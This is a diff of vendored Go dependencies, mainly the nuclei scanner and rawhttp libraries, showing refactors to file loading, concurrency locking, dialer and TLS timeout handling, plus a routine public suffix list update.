    12 12  type PayloadGenerator struct {
    13 13   Type AttackType
     14 + catalog catalog.Catalog
    14 15   payloads map[string][]string
    15 16  }
    16 17   
    17 18  // New creates a new generator structure for payload generation
    18  -func New(payloads map[string]interface{}, attackType AttackType, templatePath string, catalog *catalog.Catalog) (*PayloadGenerator, error) {
     19 +func New(payloads map[string]interface{}, attackType AttackType, templatePath string, catalog catalog.Catalog) (*PayloadGenerator, error) {
    19 20   if attackType.String() == "" {
    20 21   attackType = BatteringRamAttack
    21 22   }
    skipped 14 lines
    36 37   }
    37 38   }
    38 39   
    39  - generator := &PayloadGenerator{}
     40 + generator := &PayloadGenerator{catalog: catalog}
    40 41   if err := generator.validate(payloadsFinal, templatePath); err != nil {
    41 42   return nil, err
    42 43   }
    43 44   
    44  - compiled, err := loadPayloads(payloadsFinal)
     45 + compiled, err := generator.loadPayloads(payloadsFinal)
    45 46   if err != nil {
    46 47   return nil, err
    47 48   }
    skipped 198 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/load.go
    skipped 2 lines
    3 3  import (
    4 4   "bufio"
    5 5   "io"
    6  - "os"
    7 6   "strings"
    8 7   
    9 8   "github.com/pkg/errors"
    skipped 1 lines
    11 10  )
    12 11   
    13 12  // loadPayloads loads the input payloads from a map to a data map
    14  -func loadPayloads(payloads map[string]interface{}) (map[string][]string, error) {
     13 +func (generator *PayloadGenerator) loadPayloads(payloads map[string]interface{}) (map[string][]string, error) {
    15 14   loadedPayloads := make(map[string][]string)
    16 15   
    17 16   for name, payload := range payloads {
    skipped 4 lines
    22 21   if len(elements) >= 2 {
    23 22   loadedPayloads[name] = elements
    24 23   } else {
    25  - payloads, err := loadPayloadsFromFile(pt)
     24 + payloads, err := generator.loadPayloadsFromFile(pt)
    26 25   if err != nil {
    27 26   return nil, errors.Wrap(err, "could not load payloads")
    28 27   }
    skipped 7 lines
    36 35  }
    37 36   
    38 37  // loadPayloadsFromFile loads a file to a string slice
    39  -func loadPayloadsFromFile(filepath string) ([]string, error) {
     38 +func (generator *PayloadGenerator) loadPayloadsFromFile(filepath string) ([]string, error) {
    40 39   var lines []string
    41 40   
    42  - file, err := os.Open(filepath)
     41 + file, err := generator.catalog.OpenFile(filepath)
    43 42   if err != nil {
    44 43   return nil, err
    45 44   }
    skipped 16 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh/interactsh.go
    skipped 44 lines
    45 45   pollDuration time.Duration
    46 46   cooldownDuration time.Duration
    47 47   
    48  - hostname string
     48 + dataMutex *sync.RWMutex
     49 + 
     50 + hostname string
     51 + 
    49 52   firstTimeGroup sync.Once
    50 53   generated uint32 // decide to wait if we have a generated url
    51 54   matched bool
    skipped 6 lines
    58 61   
    59 62  const (
    60 63   stopAtFirstMatchAttribute = "stop-at-first-match"
    61  - templateIdAttribute = "template-id"
     64 + templateIdAttribute = "template-id"
    62 65  )
    63 66   
    64 67  // Options contains configuration options for interactsh nuclei integration.
    skipped 58 lines
    123 126   requests: cache,
    124 127   pollDuration: options.PollDuration,
    125 128   cooldownDuration: options.CooldownPeriod,
     129 + dataMutex: &sync.RWMutex{},
    126 130   }
    127 131   return interactClient, nil
    128 132  }
    skipped 32 lines
    161 165   interactURL := interactsh.URL()
    162 166   interactDomain := interactURL[strings.Index(interactURL, ".")+1:]
    163 167   gologger.Info().Msgf("Using Interactsh Server: %s", interactDomain)
     168 + 
     169 + c.dataMutex.Lock()
    164 170   c.hostname = interactDomain
     171 + c.dataMutex.Unlock()
    165 172   
    166 173   interactsh.StartPolling(c.pollDuration, func(interaction *server.Interaction) {
    167 174   item := c.requests.Get(interaction.UniqueID)
    skipped 113 lines
    281 288   
    282 289  // MakePlaceholders does placeholders for interact URLs and other data to a map
    283 290  func (c *Client) MakePlaceholders(urls []string, data map[string]interface{}) {
    284  - data["interactsh-server"] = c.hostname
     291 + data["interactsh-server"] = c.getInteractServerHostname()
    285 292   for _, url := range urls {
    286 293   if interactshURLMarker := c.interactshURLs.Get(url); interactshURLMarker != nil {
    287 294   if interactshURLMarker, ok := interactshURLMarker.Value().(string); ok {
    skipped 144 lines
    432 439   return hex.EncodeToString(h.Sum(nil))
    433 440  }
    434 441   
     442 +func (c *Client) getInteractServerHostname() string {
     443 + c.dataMutex.RLock()
     444 + defer c.dataMutex.RUnlock()
     445 + 
     446 + return c.hostname
     447 +}
     448 + 
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/headless/engine/action_types.go
    skipped 123 lines
    124 124   ActionWaitLoad: "waitload",
    125 125   ActionGetResource: "getresource",
    126 126   ActionExtract: "extract",
    127  - ActionSetMethod: "set-method",
     127 + ActionSetMethod: "setmethod",
    128 128   ActionAddHeader: "addheader",
    129 129   ActionSetHeader: "setheader",
    130 130   ActionDeleteHeader: "deleteheader",
    skipped 78 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool/clientpool.go
    skipped 111 lines
    112 112   rawHttpOptions.Proxy = types.ProxyURL
    113 113   } else if types.ProxySocksURL != "" {
    114 114   rawHttpOptions.Proxy = types.ProxySocksURL
     115 + } else if Dialer != nil {
     116 + rawHttpOptions.FastDialer = Dialer
    115 117   }
    116 118   rawHttpOptions.Timeout = time.Duration(options.Timeout) * time.Second
    117 119   rawHttpClient = rawhttp.NewClient(rawHttpOptions)
    skipped 170 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw/raw.go
    skipped 50 lines
    51 51   }
    52 52   
    53 53   parts := strings.Split(s, " ")
     54 + if len(parts) == 2 {
     55 + parts = []string{parts[0], "", parts[1]}
     56 + }
    54 57   if len(parts) < 3 && !unsafe {
    55 58   return nil, fmt.Errorf("malformed request supplied")
    56 59   }
    skipped 131 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/protocols.go
    skipped 53 lines
    54 54   // RateLimiter is a rate-limiter for limiting sent number of requests.
    55 55   RateLimiter ratelimit.Limiter
    56 56   // Catalog is a template catalog implementation for nuclei
    57  - Catalog *catalog.Catalog
     57 + Catalog catalog.Catalog
    58 58   // ProjectFile is the project file for nuclei
    59 59   ProjectFile *projectfile.ProjectFile
    60 60   // Browser is a browser engine for running headless templates
    skipped 141 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/templates/compile.go
    skipped 35 lines
    36 36   
    37 37   template := &Template{}
    38 38   
    39  - data, err := utils.ReadFromPathOrURL(filePath)
     39 + data, err := utils.ReadFromPathOrURL(filePath, options.Catalog)
    40 40   if err != nil {
    41 41   return nil, err
    42 42   }
    skipped 181 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/types/resume.go
    skipped 37 lines
    38 38   DoAbove uint32 `json:"-"`
    39 39  }
    40 40   
     41 +// Clone the ResumeInfo structure
     42 +func (resumeInfo *ResumeInfo) Clone() *ResumeInfo {
     43 + resumeInfo.Lock()
     44 + defer resumeInfo.Unlock()
     45 + 
     46 + inFlight := make(map[uint32]struct{})
     47 + for u := range resumeInfo.InFlight {
     48 + inFlight[u] = struct{}{}
     49 + }
     50 + repeat := make(map[uint32]struct{})
     51 + for u := range resumeInfo.Repeat {
     52 + repeat[u] = struct{}{}
     53 + }
     54 + 
     55 + return &ResumeInfo{
     56 + Completed: resumeInfo.Completed,
     57 + InFlight: inFlight,
     58 + SkipUnder: resumeInfo.SkipUnder,
     59 + Repeat: repeat,
     60 + DoAbove: resumeInfo.DoAbove,
     61 + }
     62 +}
     63 + 
    41 64  // NewResumeCfg creates a new scan progression structure
    42 65  func NewResumeCfg() *ResumeCfg {
    43 66   return &ResumeCfg{
    skipped 3 lines
    47 70  }
    48 71   
    49 72  // Clone the resume structure
    50  -func (resumeCfg *ResumeCfg) Clone() ResumeCfg {
    51  - return ResumeCfg{
    52  - ResumeFrom: resumeCfg.ResumeFrom,
    53  - Current: resumeCfg.Current,
     73 +func (resumeCfg *ResumeCfg) Clone() *ResumeCfg {
     74 + resumeCfg.Lock()
     75 + defer resumeCfg.Unlock()
     76 + 
     77 + resumeFrom := make(map[string]*ResumeInfo)
     78 + for id, resumeInfo := range resumeCfg.ResumeFrom {
     79 + resumeFrom[id] = resumeInfo.Clone()
     80 + }
     81 + current := make(map[string]*ResumeInfo)
     82 + for id, resumeInfo := range resumeCfg.Current {
     83 + current[id] = resumeInfo.Clone()
     84 + }
     85 + 
     86 + return &ResumeCfg{
     87 + ResumeFrom: resumeFrom,
     88 + Current: current,
    54 89   }
    55 90  }
    56 91   
    skipped 29 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/utils/utils.go
    skipped 4 lines
    5 5   "io"
    6 6   "net/http"
    7 7   "net/url"
    8  - "os"
    9 8   "strings"
     9 + 
     10 + "github.com/projectdiscovery/nuclei/v2/pkg/catalog"
    10 11  )
    11 12   
    12 13  func IsBlank(value string) bool {
    skipped 31 lines
    44 45  }
    45 46   
    46 47  // ReadFromPathOrURL reads and returns the contents of a file or url.
    47  -func ReadFromPathOrURL(templatePath string) (data []byte, err error) {
     48 +func ReadFromPathOrURL(templatePath string, catalog catalog.Catalog) (data []byte, err error) {
    48 49   if IsURL(templatePath) {
    49 50   resp, err := http.Get(templatePath)
    50 51   if err != nil {
    skipped 5 lines
    56 57   return nil, err
    57 58   }
    58 59   } else {
    59  - f, err := os.Open(templatePath)
     60 + f, err := catalog.OpenFile(templatePath)
    60 61   if err != nil {
    61 62   return nil, err
    62 63   }
    skipped 19 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/rawhttp/client/writer.go
    skipped 67 lines
    68 68   }
    69 69   var err error
    70 70   if value != "" {
    71  - _, err = fmt.Fprintf(w, "%s:%s\r\n", key, value)
     71 + _, err = fmt.Fprintf(w, "%s: %s\r\n", key, value)
    72 72   } else {
    73 73   _, err = fmt.Fprintf(w, "%s\r\n", key)
    74 74   }
    skipped 38 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/rawhttp/clientpipeline/request.go
    skipped 72 lines
    73 73   for _, h := range r.Headers {
    74 74   var err error
    75 75   if h.Value != "" {
    76  - _, err = fmt.Fprintf(w, "%s:%s\r\n", h.Key, h.Value)
     76 + _, err = fmt.Fprintf(w, "%s: %s\r\n", h.Key, h.Value)
    77 77   } else {
    78 78   _, err = fmt.Fprintf(w, "%s\r\n", h.Key)
    79 79   }
    skipped 62 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/rawhttp/conn.go
    1 1  package rawhttp
    2 2   
    3 3  import (
     4 + "context"
    4 5   "crypto/tls"
    5 6   "fmt"
    6 7   "io"
    skipped 69 lines
    76 77   return nil, fmt.Errorf("proxy error: %w", err)
    77 78   }
    78 79   if protocol == "https" {
    79  - if c, err = TlsHandshake(c, addr); err != nil {
     80 + if c, err = TlsHandshake(c, addr, timeout); err != nil {
    80 81   return nil, fmt.Errorf("tls handshake error: %w", err)
    81 82   }
    82 83   }
    skipped 5 lines
    88 89  }
    89 90   
    90 91  func clientDial(protocol, addr string, timeout time.Duration, options *Options) (net.Conn, error) {
     92 + var (
     93 + ctx context.Context
     94 + cancel context.CancelFunc
     95 + )
     96 + if timeout > 0 {
     97 + ctx, cancel = context.WithTimeout(context.Background(), timeout)
     98 + defer cancel()
     99 + } else {
     100 + ctx = context.Background()
     101 + }
     102 + 
    91 103   // http
    92 104   if protocol == "http" {
    93  - if timeout > 0 {
     105 + if options.FastDialer != nil {
     106 + return options.FastDialer.Dial(ctx, "tcp", addr)
     107 + } else if timeout > 0 {
    94 108   return net.DialTimeout("tcp", addr, timeout)
    95 109   }
    96 110   return net.Dial("tcp", addr)
    skipped 4 lines
    101 115   if options.SNI != "" {
    102 116   tlsConfig.ServerName = options.SNI
    103 117   }
    104  - if timeout > 0 {
     118 + if options.FastDialer != nil {
     119 + return options.FastDialer.DialTLSWithConfig(ctx, "tcp", addr, tlsConfig)
     120 + } else if timeout > 0 {
    105 121   conn, err := net.DialTimeout("tcp", addr, timeout)
    106 122   if err != nil {
    107 123   return nil, err
    108 124   }
    109 125   tlsConn := tls.Client(conn, tlsConfig)
    110  - return tlsConn, tlsConn.Handshake()
     126 + return tlsConn, tlsConn.HandshakeContext(ctx)
    111 127   }
    112 128   return tls.Dial("tcp", addr, tlsConfig)
    113 129  }
    114 130   
    115 131  // TlsHandshake tls handshake on a plain connection
    116  -func TlsHandshake(conn net.Conn, addr string) (net.Conn, error) {
     132 +func TlsHandshake(conn net.Conn, addr string, timeout time.Duration) (net.Conn, error) {
    117 133   colonPos := strings.LastIndex(addr, ":")
    118 134   if colonPos == -1 {
    119 135   colonPos = len(addr)
    120 136   }
    121 137   hostname := addr[:colonPos]
    122 138   
     139 + var (
     140 + ctx context.Context
     141 + cancel context.CancelFunc
     142 + )
     143 + if timeout > 0 {
     144 + ctx, cancel = context.WithTimeout(context.Background(), timeout)
     145 + defer cancel()
     146 + } else {
     147 + ctx = context.Background()
     148 + }
     149 + 
    123 150   tlsConn := tls.Client(conn, &tls.Config{
    124 151   InsecureSkipVerify: true,
    125 152   ServerName: hostname,
    126 153   })
    127  - if err := tlsConn.Handshake(); err != nil {
     154 + if err := tlsConn.HandshakeContext(ctx); err != nil {
    128 155   conn.Close()
    129 156   return nil, err
    130 157   }
    skipped 27 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/rawhttp/options.go
    skipped 2 lines
    3 3  import (
    4 4   "time"
    5 5   
     6 + "github.com/projectdiscovery/fastdialer/fastdialer"
    6 7   "github.com/projectdiscovery/rawhttp/client"
    7 8  )
    8 9   
    skipped 10 lines
    19 20   Proxy string
    20 21   ProxyDialTimeout time.Duration
    21 22   SNI string
     23 + FastDialer *fastdialer.Dialer
    22 24  }
    23 25   
    24 26  // DefaultOptions is the default configuration options for the client
    skipped 8 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/rawhttp/util.go
    skipped 150 lines
    151 151   
    152 152   for _, header := range req.Headers {
    153 153   if header.Value != "" {
    154  - b.WriteString(fmt.Sprintf("%s:%s"+client.NewLine, header.Key, header.Value))
     154 + b.WriteString(fmt.Sprintf("%s: %s"+client.NewLine, header.Key, header.Value))
    155 155   } else {
    156 156   b.WriteString(fmt.Sprintf("%s"+client.NewLine, header.Key))
    157 157   }
    skipped 22 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/sliceutil/sliceutil.go
    1 1  package sliceutil
    2 2   
    3  -import "math/rand"
     3 +import (
     4 + "math/rand"
     5 + "strconv"
     6 +)
    4 7   
    5 8  // PruneEmptyStrings from the slice
    6 9  func PruneEmptyStrings(v []string) []string {
    skipped 59 lines
    66 69   return true
    67 70  }
    68 71   
     72 +// ToInt converts a slice of strings to a slice of ints
     73 +func ToInt(s []string) ([]int, error) {
     74 + var ns []int
     75 + for _, ss := range s {
     76 + n, err := strconv.Atoi(ss)
     77 + if err != nil {
     78 + return nil, err
     79 + }
     80 + ns = append(ns, n)
     81 + }
     82 + return ns, nil
     83 +}
     84 + 
  • vendor/github.com/projectdiscovery/wappalyzergo/fingerprints_data.go
    Unable to diff as some line is too long.
  • ■ ■ ■ ■
    vendor/github.com/weppos/publicsuffix-go/LICENSE.txt
    1 1  The MIT License (MIT)
    2 2   
    3  -Copyright (c) 2016-2020 Simone Carletti
     3 +Copyright (c) 2016-2022 Simone Carletti
    4 4   
    5 5  Permission is hereby granted, free of charge, to any person obtaining a copy
    6 6  of this software and associated documentation files (the "Software"), to deal
    skipped 15 lines
  • ■ ■ ■ ■
    vendor/github.com/weppos/publicsuffix-go/publicsuffix/publicsuffix.go
    skipped 19 lines
    20 20   // Version identifies the current library version.
    21 21   // This is a pro forma convention given that Go dependencies
    22 22   // tends to be fetched directly from the repo.
    23  - Version = "0.15.0"
     23 + Version = "0.20.0"
    24 24   
    25 25   // NormalType represents a normal rule such as "com"
    26 26   NormalType = 1
    skipped 519 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/weppos/publicsuffix-go/publicsuffix/rules.go
    skipped 2 lines
    3 3   
    4 4  package publicsuffix
    5 5   
    6  -const defaultListVersion = "PSL version e3fc75 (Wed Sep 22 08:23:47 2021)"
     6 +const defaultListVersion = "PSL version 4f1786 (Sun Jul 3 15:53:00 2022)"
    7 7   
    8  -func DefaultRules() [9191]Rule {
     8 +func DefaultRules() [9374]Rule {
    9 9   return r
    10 10  }
    11 11   
    12  -var r = [9191]Rule{
     12 +var r = [9374]Rule{
    13 13   {1, "ac", 1, false},
    14 14   {1, "com.ac", 2, false},
    15 15   {1, "edu.ac", 2, false},
    skipped 672 lines
    688 688   {1, "gov.cu", 2, false},
    689 689   {1, "inf.cu", 2, false},
    690 690   {1, "cv", 1, false},
     691 + {1, "com.cv", 2, false},
     692 + {1, "edu.cv", 2, false},
     693 + {1, "int.cv", 2, false},
     694 + {1, "nome.cv", 2, false},
     695 + {1, "org.cv", 2, false},
    691 696   {1, "cw", 1, false},
    692 697   {1, "com.cw", 2, false},
    693 698   {1, "edu.cw", 2, false},
    skipped 8 lines
    702 707   {1, "ekloges.cy", 2, false},
    703 708   {1, "gov.cy", 2, false},
    704 709   {1, "ltd.cy", 2, false},
    705  - {1, "name.cy", 2, false},
     710 + {1, "mil.cy", 2, false},
    706 711   {1, "net.cy", 2, false},
    707 712   {1, "org.cy", 2, false},
    708  - {1, "parliament.cy", 2, false},
    709 713   {1, "press.cy", 2, false},
    710 714   {1, "pro.cy", 2, false},
    711 715   {1, "tm.cy", 2, false},
    skipped 2678 lines
    3390 3394   {1, "net.kw", 2, false},
    3391 3395   {1, "org.kw", 2, false},
    3392 3396   {1, "ky", 1, false},
    3393  - {1, "edu.ky", 2, false},
    3394  - {1, "gov.ky", 2, false},
    3395 3397   {1, "com.ky", 2, false},
     3398 + {1, "edu.ky", 2, false},
     3399 + {1, "net.ky", 2, false},
    3396 3400   {1, "org.ky", 2, false},
    3397  - {1, "net.ky", 2, false},
    3398 3401   {1, "kz", 1, false},
    3399 3402   {1, "org.kz", 2, false},
    3400 3403   {1, "edu.kz", 2, false},
    skipped 2807 lines
    6208 6211   {1, "adult", 1, false},
    6209 6212   {1, "aeg", 1, false},
    6210 6213   {1, "aetna", 1, false},
    6211  - {1, "afamilycompany", 1, false},
    6212 6214   {1, "afl", 1, false},
    6213 6215   {1, "africa", 1, false},
    6214 6216   {1, "agakhan", 1, false},
    skipped 114 lines
    6329 6331   {1, "broker", 1, false},
    6330 6332   {1, "brother", 1, false},
    6331 6333   {1, "brussels", 1, false},
    6332  - {1, "budapest", 1, false},
    6333 6334   {1, "bugatti", 1, false},
    6334 6335   {1, "build", 1, false},
    6335 6336   {1, "builders", 1, false},
    skipped 97 lines
    6433 6434   {1, "crs", 1, false},
    6434 6435   {1, "cruise", 1, false},
    6435 6436   {1, "cruises", 1, false},
    6436  - {1, "csc", 1, false},
    6437 6437   {1, "cuisinella", 1, false},
    6438 6438   {1, "cymru", 1, false},
    6439 6439   {1, "cyou", 1, false},
    skipped 41 lines
    6481 6481   {1, "drive", 1, false},
    6482 6482   {1, "dtv", 1, false},
    6483 6483   {1, "dubai", 1, false},
    6484  - {1, "duck", 1, false},
    6485 6484   {1, "dunlop", 1, false},
    6486 6485   {1, "dupont", 1, false},
    6487 6486   {1, "durban", 1, false},
    skipped 103 lines
    6591 6590   {1, "gifts", 1, false},
    6592 6591   {1, "gives", 1, false},
    6593 6592   {1, "giving", 1, false},
    6594  - {1, "glade", 1, false},
    6595 6593   {1, "glass", 1, false},
    6596 6594   {1, "gle", 1, false},
    6597 6595   {1, "global", 1, false},
    skipped 171 lines
    6769 6767   {1, "lipsy", 1, false},
    6770 6768   {1, "live", 1, false},
    6771 6769   {1, "living", 1, false},
    6772  - {1, "lixil", 1, false},
    6773 6770   {1, "llc", 1, false},
    6774 6771   {1, "llp", 1, false},
    6775 6772   {1, "loan", 1, false},
    skipped 105 lines
    6881 6878   {1, "nyc", 1, false},
    6882 6879   {1, "obi", 1, false},
    6883 6880   {1, "observer", 1, false},
    6884  - {1, "off", 1, false},
    6885 6881   {1, "office", 1, false},
    6886 6882   {1, "okinawa", 1, false},
    6887 6883   {1, "olayan", 1, false},
    skipped 73 lines
    6961 6957   {1, "qpon", 1, false},
    6962 6958   {1, "quebec", 1, false},
    6963 6959   {1, "quest", 1, false},
    6964  - {1, "qvc", 1, false},
    6965 6960   {1, "racing", 1, false},
    6966 6961   {1, "radio", 1, false},
    6967  - {1, "raid", 1, false},
    6968 6962   {1, "read", 1, false},
    6969 6963   {1, "realestate", 1, false},
    6970 6964   {1, "realtor", 1, false},
    skipped 24 lines
    6995 6989   {1, "ril", 1, false},
    6996 6990   {1, "rio", 1, false},
    6997 6991   {1, "rip", 1, false},
    6998  - {1, "rmit", 1, false},
    6999 6992   {1, "rocher", 1, false},
    7000 6993   {1, "rocks", 1, false},
    7001 6994   {1, "rodeo", 1, false},
    skipped 32 lines
    7034 7027   {1, "schule", 1, false},
    7035 7028   {1, "schwarz", 1, false},
    7036 7029   {1, "science", 1, false},
    7037  - {1, "scjohnson", 1, false},
    7038 7030   {1, "scot", 1, false},
    7039 7031   {1, "search", 1, false},
    7040 7032   {1, "seat", 1, false},
    skipped 70 lines
    7111 7103   {1, "surgery", 1, false},
    7112 7104   {1, "suzuki", 1, false},
    7113 7105   {1, "swatch", 1, false},
    7114  - {1, "swiftcover", 1, false},
    7115 7106   {1, "swiss", 1, false},
    7116 7107   {1, "sydney", 1, false},
    7117 7108   {1, "systems", 1, false},
    skipped 133 lines
    7251 7242   {1, "xn--30rr7y", 1, false},
    7252 7243   {1, "xn--3bst00m", 1, false},
    7253 7244   {1, "xn--3ds443g", 1, false},
    7254  - {1, "xn--3oq18vl8pn36a", 1, false},
    7255 7245   {1, "xn--3pxu8k", 1, false},
    7256 7246   {1, "xn--42c2d9a", 1, false},
    7257 7247   {1, "xn--45q11c", 1, false},
    skipped 110 lines
    7368 7358   {1, "hlx.page", 2, true},
    7369 7359   {1, "hlx3.page", 2, true},
    7370 7360   {1, "beep.pl", 2, true},
     7361 + {1, "airkitapps.com", 2, true},
     7362 + {1, "airkitapps-au.com", 2, true},
     7363 + {1, "airkitapps.eu", 2, true},
     7364 + {1, "aivencloud.com", 2, true},
    7371 7365   {1, "barsy.ca", 2, true},
    7372 7366   {2, "compute.estate", 3, true},
    7373 7367   {2, "alces.network", 3, true},
    skipped 82 lines
    7456 7450   {1, "s3-website.eu-west-2.amazonaws.com", 4, true},
    7457 7451   {1, "s3-website.eu-west-3.amazonaws.com", 4, true},
    7458 7452   {1, "s3-website.us-east-2.amazonaws.com", 4, true},
    7459  - {1, "amsw.nl", 2, true},
    7460 7453   {1, "t3l3p0rt.net", 2, true},
    7461 7454   {1, "tele.amune.org", 3, true},
    7462 7455   {1, "apigee.io", 2, true},
     7456 + {1, "siiites.com", 2, true},
    7463 7457   {1, "appspacehosted.com", 2, true},
    7464 7458   {1, "appspaceusercontent.com", 2, true},
    7465 7459   {1, "appudo.net", 2, true},
    skipped 8 lines
    7474 7468   {1, "sweetpepper.org", 2, true},
    7475 7469   {1, "myasustor.com", 2, true},
    7476 7470   {1, "cdn.prod.atlassian-dev.net", 4, true},
     7471 + {1, "translated.page", 2, true},
    7477 7472   {1, "myfritz.net", 2, true},
    7478 7473   {1, "onavstack.net", 2, true},
    7479 7474   {2, "awdev.ca", 3, true},
    skipped 6 lines
    7486 7481   {2, "banzai.cloud", 3, true},
    7487 7482   {1, "app.banzaicloud.io", 3, true},
    7488 7483   {2, "backyards.banzaicloud.io", 4, true},
     7484 + {1, "base.ec", 2, true},
     7485 + {1, "official.ec", 2, true},
     7486 + {1, "buyshop.jp", 2, true},
     7487 + {1, "fashionstore.jp", 2, true},
     7488 + {1, "handcrafted.jp", 2, true},
     7489 + {1, "kawaiishop.jp", 2, true},
     7490 + {1, "supersale.jp", 2, true},
     7491 + {1, "theshop.jp", 2, true},
     7492 + {1, "shopselect.net", 2, true},
     7493 + {1, "base.shop", 2, true},
     7494 + {2, "beget.app", 3, true},
    7489 7495   {1, "betainabox.com", 2, true},
    7490 7496   {1, "bnr.la", 2, true},
    7491 7497   {1, "bitbucket.io", 2, true},
    skipped 42 lines
    7534 7540   {1, "za.bz", 2, true},
    7535 7541   {1, "za.com", 2, true},
    7536 7542   {1, "ar.com", 2, true},
    7537  - {1, "gb.com", 2, true},
    7538 7543   {1, "hu.com", 2, true},
    7539 7544   {1, "kr.com", 2, true},
    7540 7545   {1, "no.com", 2, true},
    skipped 14 lines
    7555 7560   {1, "cx.ua", 2, true},
    7556 7561   {1, "discourse.group", 2, true},
    7557 7562   {1, "discourse.team", 2, true},
    7558  - {1, "virtueeldomein.nl", 2, true},
    7559 7563   {1, "cleverapps.io", 2, true},
    7560 7564   {1, "clerk.app", 2, true},
    7561 7565   {1, "clerkstage.app", 2, true},
    skipped 1 lines
    7563 7567   {2, "lclstage.dev", 3, true},
    7564 7568   {2, "stg.dev", 3, true},
    7565 7569   {2, "stgstage.dev", 3, true},
    7566  - {1, "clic2000.net", 2, true},
    7567 7570   {1, "clickrising.net", 2, true},
    7568 7571   {1, "c66.me", 2, true},
    7569 7572   {1, "cloud66.ws", 2, true},
    skipped 30 lines
    7600 7603   {1, "cloudns.pw", 2, true},
    7601 7604   {1, "cloudns.us", 2, true},
    7602 7605   {1, "cnpy.gdn", 2, true},
     7606 + {1, "codeberg.page", 2, true},
    7603 7607   {1, "co.nl", 2, true},
    7604 7608   {1, "co.no", 2, true},
    7605 7609   {1, "webhosting.be", 2, true},
    skipped 51 lines
    7657 7661   {1, "deno.dev", 2, true},
    7658 7662   {1, "deno-staging.dev", 2, true},
    7659 7663   {1, "dedyn.io", 2, true},
     7664 + {1, "deta.app", 2, true},
     7665 + {1, "deta.dev", 2, true},
    7660 7666   {2, "rss.my.id", 4, true},
    7661 7667   {2, "diher.solutions", 3, true},
     7668 + {1, "discordsays.com", 2, true},
     7669 + {1, "discordsez.com", 2, true},
    7662 7670   {1, "jozi.biz", 2, true},
    7663 7671   {1, "dnshome.de", 2, true},
    7664 7672   {1, "online.th", 2, true},
    skipped 320 lines
    7985 7993   {1, "myddns.rocks", 2, true},
    7986 7994   {1, "blogsite.xyz", 2, true},
    7987 7995   {1, "dynv6.net", 2, true},
    7988  - {1, "elluciancrmadvance.com", 2, true},
    7989  - {1, "elluciancrmadvise.com", 2, true},
    7990  - {1, "elluciancrmrecruit.com", 2, true},
    7991 7996   {1, "e4.cz", 2, true},
    7992 7997   {1, "eero.online", 2, true},
    7993 7998   {1, "eero-stage.online", 2, true},
    skipped 2 lines
    7996 8001   {1, "en-root.fr", 2, true},
    7997 8002   {1, "mytuleap.com", 2, true},
    7998 8003   {1, "tuleap-partners.com", 2, true},
     8004 + {1, "encr.app", 2, true},
     8005 + {1, "encoreapi.com", 2, true},
    7999 8006   {1, "onred.one", 2, true},
    8000 8007   {1, "staging.onred.one", 3, true},
    8001  - {1, "service.one", 2, true},
     8008 + {1, "eu.encoway.cloud", 3, true},
    8002 8009   {1, "eu.org", 2, true},
    8003 8010   {1, "al.eu.org", 3, true},
    8004 8011   {1, "asso.eu.org", 3, true},
    skipped 161 lines
    8166 8173   {1, "cloud.fedoraproject.org", 3, true},
    8167 8174   {1, "app.os.fedoraproject.org", 4, true},
    8168 8175   {1, "app.os.stg.fedoraproject.org", 5, true},
    8169  - {1, "couk.me", 2, true},
    8170  - {1, "ukco.me", 2, true},
    8171 8176   {1, "conn.uk", 2, true},
    8172 8177   {1, "copro.uk", 2, true},
    8173 8178   {1, "hosp.uk", 2, true},
    skipped 9 lines
    8183 8188   {1, "firebaseapp.com", 2, true},
    8184 8189   {1, "fireweb.app", 2, true},
    8185 8190   {1, "flap.id", 2, true},
     8191 + {1, "onflashdrive.app", 2, true},
     8192 + {1, "fldrv.com", 2, true},
    8186 8193   {1, "fly.dev", 2, true},
    8187 8194   {1, "edgeapp.net", 2, true},
    8188 8195   {1, "shw.io", 2, true},
    skipped 22 lines
    8211 8218   {2, "ex.ortsinfo.at", 4, true},
    8212 8219   {2, "kunden.ortsinfo.at", 4, true},
    8213 8220   {2, "statics.cloud", 3, true},
     8221 + {1, "independent-commission.uk", 2, true},
     8222 + {1, "independent-inquest.uk", 2, true},
     8223 + {1, "independent-inquiry.uk", 2, true},
     8224 + {1, "independent-panel.uk", 2, true},
     8225 + {1, "independent-review.uk", 2, true},
     8226 + {1, "public-inquiry.uk", 2, true},
     8227 + {1, "royal-commission.uk", 2, true},
     8228 + {1, "campaign.gov.uk", 3, true},
    8214 8229   {1, "service.gov.uk", 3, true},
     8230 + {1, "api.gov.uk", 3, true},
    8215 8231   {1, "gehirn.ne.jp", 3, true},
    8216 8232   {1, "usercontent.jp", 2, true},
    8217 8233   {1, "gentapps.com", 2, true},
    skipped 13 lines
    8231 8247   {1, "co.ro", 2, true},
    8232 8248   {1, "shop.ro", 2, true},
    8233 8249   {1, "lolipop.io", 2, true},
     8250 + {1, "angry.jp", 2, true},
     8251 + {1, "babyblue.jp", 2, true},
     8252 + {1, "babymilk.jp", 2, true},
     8253 + {1, "backdrop.jp", 2, true},
     8254 + {1, "bambina.jp", 2, true},
     8255 + {1, "bitter.jp", 2, true},
     8256 + {1, "blush.jp", 2, true},
     8257 + {1, "boo.jp", 2, true},
     8258 + {1, "boy.jp", 2, true},
     8259 + {1, "boyfriend.jp", 2, true},
     8260 + {1, "but.jp", 2, true},
